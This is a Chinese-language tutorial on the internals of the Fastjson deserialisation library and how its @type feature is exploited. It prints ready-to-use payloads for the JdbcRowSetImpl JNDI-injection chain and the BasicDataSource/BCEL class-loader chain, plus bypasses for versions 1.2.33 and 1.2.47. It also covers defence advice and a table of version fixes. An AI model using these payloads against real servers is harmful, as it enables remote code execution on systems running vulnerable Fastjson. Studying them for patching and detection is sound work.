Fastjson从原理到利用
字数 1823 2025-08-11 08:36:02

Fastjson从原理到利用深度解析

一、Fastjson基础概述

Fastjson是阿里巴巴的开源JSON解析库,主要功能包括:

  • 解析JSON格式字符串
  • 将Java Bean序列化为JSON字符串
  • 从JSON字符串反序列化到JavaBean

基本使用示例:

public class FastJsonDemo1 {
    public static void main(String[] args) {
        User user = new User("tom",12);
        String s = JSON.toJSONString(user);  // 序列化
        System.out.println(s);
        User parse = (User) JSON.parseObject(s, User.class);  // 反序列化
    }
}

关键特性:

  • 序列化时调用getter方法获取值
  • 反序列化时通过setter方法给对象赋值

二、核心源码解析

1. 主要接口类

JSON类提供静态方法封装,主要分为:

  • 序列化方法:toJsonStringwriteJsonString
  • 反序列化方法:ParseParseObjecttoJson

反序列化方法特点:

  • Parse:返回Object类型,若字符串中存在@type指定类型则强转
  • ParseObject:返回类型由参数指定,未指定则转为JsonObject并调用所有getter方法

2. DefaultJSONParser解析器

作为fastjson核心解析器,与JSONScanner组合实现JSON字符串解析:

初始化过程:

public DefaultJSONParser(final String input, final ParserConfig config, int features){
    this(input, new JSONScanner(input, features), config);
}

解析调度方法parse(Object fieldName)根据token类型调用对应解析方法:

  • LBRACE({) → parseObject
  • LBRACKET([) → parseArray
  • 其他基础类型直接返回

3. 对象解析流程

  1. 以键值对方式循环解析
  2. 遇到@type属性时:
    if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
        String typeName = lexer.scanSymbol(symbolTable);
        Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());
        // ...
    }
    
  3. 创建实例并赋值属性

4. Deserializer获取机制

调用链:
getDeserializer(Type type)getDeserializer((Class<?>) type, type)createJavaBeanDeserializer()

JavaBeanInfo.build()过程:

  1. 获取所有字段和public方法
  2. 三次循环:
    • 获取setter方法(方法名≥4,非静态,set开头等)
    • 获取public static字段
    • 获取getter方法(方法名≥4,非静态,get开头等)

三、漏洞利用原理

1. 攻击面分析

关键调用点:

  • 反序列化时通过@type实例化类并调用setter方法
  • toJson()时调用所有getter方法
  • key.toString()可能调用相关getter

2. JdbcRowSetImpl链

利用点
setAutoCommit()connect() → JNDI注入

Payload

{
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"ldap://127.0.0.1:1389/Basic/Command/calc", 
    "autoCommit":false
}

利用条件

  • 机器能出网
  • JDK < 8u191

3. BasicDataSource链

利用点
getConnection()createDataSource()createConnectionFactory()Class.forName()

结合BCEL ClassLoader加载恶意类:

// BCEL ClassLoader关键代码
if(class_name.indexOf("
$$
BCEL
$$
") >= 0) {
    clazz = createClass(class_name);  // 解码并加载Class
}

Payload结构

{
    "@type":"com.alibaba.fastjson.JSONObject",
    "xxx":{
        "@type":"org.apache.tomcat.dbcp.dbcp.BasicDataSource",
        "driverClassLoader":{
            "@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"
        },
        "driverClassName":"
$$
BCEL$..."
    }
}

利用条件

  • 需要触发getter方法(toString/toJson)
  • 依赖tomcat-dbcp
  • JDK < 8u251

四、版本更新与绕过

1. 1.2.25修复

  • 添加checkAutoType()黑白名单检查
  • 新增autoTypeSupport(默认false)

2. 1.2.33绕过

利用缓存检查顺序:

// 1.2.33+黑名单检查
if (className.startsWith(deny) && TypeUtils.getClassFromMapping(typeName) == null)

通用绕过Payload

[
    {
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    {
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://127.0.0.1:1389/Basic/Command/calc", 
        "autoCommit":false
    }
]

3. 1.2.37修复

移除ParseObject中的key.toString()调用

4. 1.2.47绕过

利用MiscCodec缓存:

{
    {"@type":"java.lang.Class","val":"org.apache.tomcat.dbcp.dbcp.BasicDataSource"}:"aaa",
    {"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"}:"bbb",
    {"@type":"com.alibaba.fastjson.JSONObject","xxx":{
        "@type":"org.apache.tomcat.dbcp.dbcp.BasicDataSource",
        "driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},
        "driverClassName":"
$$
BCEL$aaa"
    }}:"bbb"
}

五、防御建议

  1. 升级到最新安全版本
  2. 关闭autoTypeSupport
  3. 设置严格的白名单
  4. 对反序列化类进行校验

附录:关键版本修复对比

版本变更 主要修复内容
1.2.24→1.2.25 新增checkAutoType黑白名单检查
1.2.32→1.2.33 修改checkAutoType缓存检查顺序
1.2.36→1.2.37 移除ParseObject中的key.toString调用
1.2.41→1.2.42 黑名单改为hashcode,新增三个java.util包限制
1.2.47→1.2.48 修复MiscCodec缓存问题
Fastjson从原理到利用深度解析 一、Fastjson基础概述 Fastjson是阿里巴巴的开源JSON解析库,主要功能包括: 解析JSON格式字符串 将Java Bean序列化为JSON字符串 从JSON字符串反序列化到JavaBean 基本使用示例: 关键特性: 序列化时调用getter方法获取值 反序列化时通过setter方法给对象赋值 二、核心源码解析 1. 主要接口类 JSON类提供静态方法封装,主要分为: 序列化方法: toJsonString 、 writeJsonString 等 反序列化方法: Parse 、 ParseObject 、 toJson 等 反序列化方法特点: Parse :返回Object类型,若字符串中存在@type指定类型则强转 ParseObject :返回类型由参数指定,未指定则转为JsonObject并调用所有getter方法 2. DefaultJSONParser解析器 作为fastjson核心解析器,与JSONScanner组合实现JSON字符串解析: 初始化过程: 解析调度方法 parse(Object fieldName) 根据token类型调用对应解析方法: LBRACE ({) → parseObject LBRACKET ( [ ) → parseArray 其他基础类型直接返回 3. 对象解析流程 以键值对方式循环解析 遇到 @type 属性时: 创建实例并赋值属性 4. Deserializer获取机制 调用链: getDeserializer(Type type) → getDeserializer((Class<?>) type, type) → createJavaBeanDeserializer() JavaBeanInfo.build()过程: 获取所有字段和public方法 三次循环: 获取setter方法(方法名≥4,非静态,set开头等) 获取public static字段 获取getter方法(方法名≥4,非静态,get开头等) 三、漏洞利用原理 1. 攻击面分析 关键调用点: 反序列化时通过 @type 实例化类并调用setter方法 toJson() 时调用所有getter方法 key.toString() 可能调用相关getter 2. JdbcRowSetImpl链 利用点 : setAutoCommit() → connect() → JNDI注入 Payload : 利用条件 : 机器能出网 JDK < 8u191 3. BasicDataSource链 利用点 : getConnection() → createDataSource() → createConnectionFactory() → Class.forName() 结合BCEL ClassLoader加载恶意类: Payload结构 : 利用条件 : 需要触发getter方法(toString/toJson) 依赖tomcat-dbcp JDK < 8u251 四、版本更新与绕过 1. 1.2.25修复 添加 checkAutoType() 黑白名单检查 新增 autoTypeSupport (默认false) 2. 1.2.33绕过 利用缓存检查顺序: 通用绕过Payload : 3. 1.2.37修复 移除 ParseObject 中的 key.toString() 调用 4. 1.2.47绕过 利用 MiscCodec 缓存: 五、防御建议 升级到最新安全版本 关闭 autoTypeSupport 设置严格的白名单 对反序列化类进行校验 附录:关键版本修复对比 | 版本变更 | 主要修复内容 | |---------|------------| | 1.2.24→1.2.25 | 新增checkAutoType黑白名单检查 | | 1.2.32→1.2.33 | 修改checkAutoType缓存检查顺序 | | 1.2.36→1.2.37 | 移除ParseObject中的key.toString调用 | | 1.2.41→1.2.42 | 黑名单改为hashcode,新增三个java.util包限制 | | 1.2.47→1.2.48 | 修复MiscCodec缓存问题 |